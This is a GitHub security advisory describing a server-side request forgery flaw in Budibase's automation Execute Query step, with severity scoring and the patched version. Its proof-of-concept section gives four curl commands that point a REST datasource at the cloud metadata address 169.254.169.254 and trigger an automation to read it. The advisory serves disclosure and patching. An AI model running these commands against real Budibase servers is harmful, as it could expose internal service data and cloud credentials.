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Budibase: SSRF via User-Controlled queryId in Automation Execute Query Step

Moderate severity GitHub Reviewed Published May 21, 2026 in Budibase/budibase • Updated Jun 12, 2026

Package

npm budibase (npm)

Affected versions

< 3.39.0

Patched versions

3.39.0

Description

Summary

The executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data.

Details

Inside the execute query automation step, the queryId value and any additional query parameters from inputs.query are assembled into a request context and forwarded to queryController.executeV2AsAutomation. The constructed context looks like the following:

const ctx: any = buildCtx(appId, emitter, {
  body: {
    parameters: rest,
  },
  params: {
    queryId,
  },
  user: context.user,
})

No validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The context.user value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs.

To reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output.

The key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources.

PoC

curl -s -X POST "$BUDIBASE_HOST/api/datasources" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d '{
    "datasource": {
      "name": "internal-meta",
      "type": "REST",
      "source": "REST",
      "config": {
        "url": "http://169.254.169.254",
        "rejectUnauthorized": false,
        "defaultHeaders": {}
      }
    }
  }'

curl -s -X POST "$BUDIBASE_HOST/api/queries" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d "{
    \"datasourceId\": \"$DATASOURCE_ID\",
    \"name\": \"meta-probe\",
    \"queryVerb\": \"read\",
    \"fields\": {
      \"path\": \"/latest/meta-data/\",
      \"queryString\": \"\",
      \"headers\": {},
      \"requestBody\": \"\"
    },
    \"parameters\": [],
    \"transformer\": \"return data\",
    \"schema\": {}
  }"

curl -s -X POST "$BUDIBASE_HOST/api/automations" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d "{
    \"name\": \"ssrf-test\",
    \"definition\": {
      \"trigger\": {
        \"event\": \"app:trigger\",
        \"stepId\": \"APP\",
        \"inputs\": {},
        \"schema\": {\"inputs\": {\"properties\": {}, \"required\": []}},
        \"type\": \"TRIGGER\",
        \"id\": \"trigger1\"
      },
      \"steps\": [
        {
          \"stepId\": \"EXECUTE_QUERY\",
          \"inputs\": {
            \"query\": {
              \"queryId\": \"$QUERY_ID\"
            }
          },
          \"schema\": {},
          \"type\": \"ACTION\",
          \"id\": \"step1\"
        }
      ]
    }
  }"

curl -s -X POST "$BUDIBASE_HOST/api/automations/$AUTOMATION_ID/trigger" \
  -H "Cookie: $SESSION_COOKIE" \
  -H "Content-Type: application/json" \
  -d '{}'

Impact

An authenticated user with builder-level access to a Budibase application can cause the Budibase server to issue HTTP requests to internal network endpoints, including cloud instance metadata services, by configuring a REST datasource targeting those endpoints and referencing the resulting query from an automation Execute Query step. Response content from the internal service is returned in the automation run output. Because builder access already permits direct datasource configuration and testing, this path does not represent a meaningful escalation of privilege beyond the builder role. The practical impact is limited to environments where builder access is granted to partially trusted users and where network-level controls do not restrict outbound HTTP from the Budibase server process.

References

@mjashanks mjashanks published to Budibase/budibase May 21, 2026
Published by the National Vulnerability Database May 27, 2026
Published to the GitHub Advisory Database Jun 12, 2026
Reviewed Jun 12, 2026
Last updated Jun 12, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(23rd percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-48128

GHSA ID

GHSA-6964-pp88-6wp9

Source code

Credits

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